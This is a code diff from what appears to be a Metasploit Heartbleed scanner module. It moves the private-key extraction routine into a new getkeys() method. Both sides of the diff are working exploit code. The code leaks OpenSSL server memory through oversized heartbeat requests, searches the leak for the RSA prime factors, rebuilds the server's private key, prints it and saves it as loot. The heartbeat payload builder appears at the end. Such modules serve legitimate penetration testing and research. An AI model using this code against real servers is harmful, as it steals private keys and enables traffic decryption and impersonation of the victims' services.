@@ -260,45 +260,7 @@ def run_host(ip)
260
260
when 'DUMP'
261
261
scan ( bleed ) # Scan & Dump are similar, scan() records results
262
262
when 'KEYS'
263
- unless datastore [ 'TLS_CALLBACKS' ] == 'None'
264
- print_error ( 'TLS callbacks currently unsupported for keydumping action' ) #TODO
265
- return
266
- end
267
- print_status ( "#{ peer } - Scanning for private keys" )
268
- count = 0
269
-
270
- print_status ( "#{ peer } - Getting public key constants..." )
271
- n , e = get_ne
272
- vprint_status ( "#{ peer } - n: #{ n } " )
273
- vprint_status ( "#{ peer } - e: #{ e } " )
274
- print_status ( "#{ peer } - #{ Time . now . getutc } - Starting." )
275
-
276
- datastore [ 'MAX_KEYTRIES' ] . times {
277
- # Loop up to MAX_KEYTRIES times, looking for keys
278
- if count % datastore [ 'STATUS_EVERY' ] == 0
279
- print_status ( "#{ peer } - #{ Time . now . getutc } - Attempt #{ count } ..." )
280
- end
281
-
282
- p , q = get_factors ( bleed , n ) # Try to find factors in mem
283
- unless p . nil? || q . nil?
284
- key = key_from_pqe ( p , q , e )
285
- print_good ( "#{ peer } - #{ Time . now . getutc } - Got the private key" )
286
-
287
- print_status ( key . export )
288
- path = store_loot (
289
- "openssl.heartbleed.server" ,
290
- "text/plain" ,
291
- rhost ,
292
- key . export ,
293
- nil ,
294
- "OpenSSL Heartbleed Private Key"
295
- )
296
- print_status ( "#{ peer } - Private key stored in #{ path } " )
297
- return
298
- end
299
- count += 1
300
- }
301
- print_error ( "#{ peer } - Private key not found. You can try to increase MAX_KEYTRIES." )
263
+ getkeys ( )
302
264
else
303
265
#Shouldn't get here, since Action is Enum
304
266
print_error ( "Unknown Action: #{ action . name } " )
@@ -384,6 +346,49 @@ def scan(heartbeat_data)
384
346
end
385
347
end
386
348
349
+ def getkeys ( )
350
+ unless datastore [ 'TLS_CALLBACKS' ] == 'None'
351
+ print_error ( 'TLS callbacks currently unsupported for keydumping action' ) #TODO
352
+ return
353
+ end
354
+
355
+ print_status ( "#{ peer } - Scanning for private keys" )
356
+ count = 0
357
+
358
+ print_status ( "#{ peer } - Getting public key constants..." )
359
+ n , e = get_ne
360
+ vprint_status ( "#{ peer } - n: #{ n } " )
361
+ vprint_status ( "#{ peer } - e: #{ e } " )
362
+ print_status ( "#{ peer } - #{ Time . now . getutc } - Starting." )
363
+
364
+ datastore [ 'MAX_KEYTRIES' ] . times {
365
+ # Loop up to MAX_KEYTRIES times, looking for keys
366
+ if count % datastore [ 'STATUS_EVERY' ] == 0
367
+ print_status ( "#{ peer } - #{ Time . now . getutc } - Attempt #{ count } ..." )
368
+ end
369
+
370
+ p , q = get_factors ( bleed , n ) # Try to find factors in mem
371
+ unless p . nil? || q . nil?
372
+ key = key_from_pqe ( p , q , e )
373
+ print_good ( "#{ peer } - #{ Time . now . getutc } - Got the private key" )
374
+
375
+ print_status ( key . export )
376
+ path = store_loot (
377
+ "openssl.heartbleed.server" ,
378
+ "text/plain" ,
379
+ rhost ,
380
+ key . export ,
381
+ nil ,
382
+ "OpenSSL Heartbleed Private Key"
383
+ )
384
+ print_status ( "#{ peer } - Private key stored in #{ path } " )
385
+ return
386
+ end
387
+ count += 1
388
+ }
389
+ print_error ( "#{ peer } - Private key not found. You can try to increase MAX_KEYTRIES." )
390
+ end
391
+
387
392
def heartbeat ( length )
388
393
payload = "\x01 " # Heartbeat Message Type: Request (1)
389
394
payload << [ length ] . pack ( "n" ) # Payload Length: 65535
0 commit comments